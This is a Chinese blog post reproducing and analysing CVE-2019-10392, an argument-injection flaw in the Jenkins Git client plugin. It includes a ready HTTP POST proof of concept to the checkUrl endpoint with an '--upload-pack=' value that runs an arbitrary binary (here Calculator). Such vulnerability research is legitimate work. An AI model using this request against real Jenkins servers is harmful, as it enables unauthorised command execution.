Jenkins的Git client插件远程命令执行漏洞(CVE-2019-10392)

Posted by caiqiqi on 2019-11-03

原文:
https://mp.weixin.qq.com/s/7yUFVj0y7PYE3ZszEszjHw

漏洞作者分析: https://iwantmore.pizza/posts/cve-2019-10392.html

前言

Jenkins发布了官方安全公告:
https://jenkins.io/security/advisory/2019-09-12/
有两个标为high的漏洞,需要Job/Configure权限才能利用,权限较高,所以危害有限。不过抱着学习的态度,复现了一下。之前有好几个漏洞都是可以以这种权限执行漏洞的。其中有几个标为high的Script Security插件的沙盒绕过漏洞,想要执行命令,还要很大的权限的,需要结合其他漏洞,单纯的Script Security插件沙盒绕过漏洞只是漏洞利用链的一环。

有几个存储型XSS也是需要Job/Configure或者Job/Build权限的,危害就更低了。
还有几个插件明文存储凭据的,需要具有读取Jenkins服务器文件的权限。

其中重点看的是另外一个官方标为high的漏洞:System command execution vulnerability in Git client Plugin。
这个插件据官方数据有24万安装量,安装量比较大。

查看官方Git client Plugin插件修复漏洞的diff

修改了src/main/java/org/jenkinsci/plugins/gitclient/CliGitAPIImpl.java
官方用于验证漏洞修复的测试用例(看不懂):

https://github.com/jenkinsci/git-client-plugin/commit/04d2c155d19a37ae28ffe2345e0e2ccd96556b07

影响范围

Git client Plugin <= 2.8.4

环境搭建

用之前的jenkins-2.150.3的环境,刚好插件还没有升级(2.7.6),可以作为复现环境。

漏洞点

开始寻找漏洞触发点。根据官方的描述,有一个关键的点:git ls-remote,参考Git client插件的使用,似乎是因为这里接收用户输入的repo url而没有做过滤,导致了与git ls-remote命令拼接,执行了用户可控的命令。然后还知道了这个插件是在创建新的job的时候使用到的。于是新建一个job,来到git选项下指定repo的url地方,输入一个url,然后返回了红色的错误,

通过返回错误中描述的命令,知道git ls-remote命令应该是在这里执行的。

在页面输入url之后,抓一下到底哪个包是触发执行命令的请求,抓到几个包:

  • /jenkins_2_150_3/job/test_git_plugin2/descriptorByName/hudson.plugins.git.UserRemoteConfig/fillCredentialsIdItems
  • /jenkins_2_150_3/job/test_git_plugin2/descriptorByName/hudson.plugins.git.UserRemoteConfig/checkUrl

发现是后者发起请求的。

通过在src/main/java/org/jenkinsci/plugins/gitclient/CliGitAPIImpl.java文件中搜索到了ls-remote字符串的方法下断点,都没下下来,最后看了一下最终执行命令的地方最终是调用了hudson.Launcher的launch方法执行命令,于是在这里下断点,果然发请求的时候在断点下停了下来。

注意分号空格等是不行的,因为这个是Java的ProcessBuilder,不是shell。参考:https://b1ngz.github.io/java-os-command-injection-note/

在前面的git ls-remote -h这些参数都确定的情况下,需要思考如何拼接后面的参数,通过传给ProcessBuilder执行任意的命令。
然后翻出之前看不懂的commit中的验证漏洞修复是否生效的测试用例中仔细阅读了它的测试用例以及注释,

找到了利用方式,构造repo的url为--upload-pack=/Applications/Calculator.app/Contents/MacOS/Calculator,从而拼接出以下命令:

git ls-remote -h --upload-pack=/Applications/Calculator.app/Contents/MacOS/Calculator HEAD

这里的--upload-pack参数本来是用来指定远程主机上的 git-upload-pack命令路径的。
参考git ls-remote命令的帮助信息:

用户输入的参数通过ProcessBuilder对象传入到hudson.Proc#LocalProc中处理:


调用ProcessBuilder#start成功执行指定的命令:

Demo

PoC

POST /jenkins_2_150_3/job/<your_job_name>/descriptorByName/hudson.plugins.git.UserRemoteConfig/checkUrl HTTP/1.1
Host: cqq.com:8088
Content-Length: 74
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Jenkins-Crumb: 29c213c5f3dff6d9a34e83225264da18
Cookie: JSESSIONID=D4FA83F47414D8FBA541D356DEFFE0A1
Connection: close
value=--upload-pack=/Applications/Calculator.app/Contents/MacOS/Calculator

漏洞调试

调试需要导入两个插件作为library:

  • ~/.jenkins/plugins/git/WEB-INF/lib/git.jar
  • ~/.jenkins/plugins/git-client/WEB-INF/lib/git-client.jar

关键调用栈为:

<init>:251, Proc$LocalProc (hudson)
<init>:218, Proc$LocalProc (hudson)
launch:936, Launcher$LocalLauncher (hudson)
start:455, Launcher$ProcStarter (hudson)
launchCommandIn:2038, CliGitAPIImpl (org.jenkinsci.plugins.gitclient)
launchCommandWithCredentials:1761, CliGitAPIImpl (org.jenkinsci.plugins.gitclient)
launchCommandWithCredentials:1666, CliGitAPIImpl (org.jenkinsci.plugins.gitclient)
launchCommandWithCredentials:1657, CliGitAPIImpl (org.jenkinsci.plugins.gitclient)
getHeadRev:2855, CliGitAPIImpl (org.jenkinsci.plugins.gitclient)
doCheckUrl:200, UserRemoteConfig$DescriptorImpl (hudson.plugins.git)
...
run:748, Thread (java.lang)

参考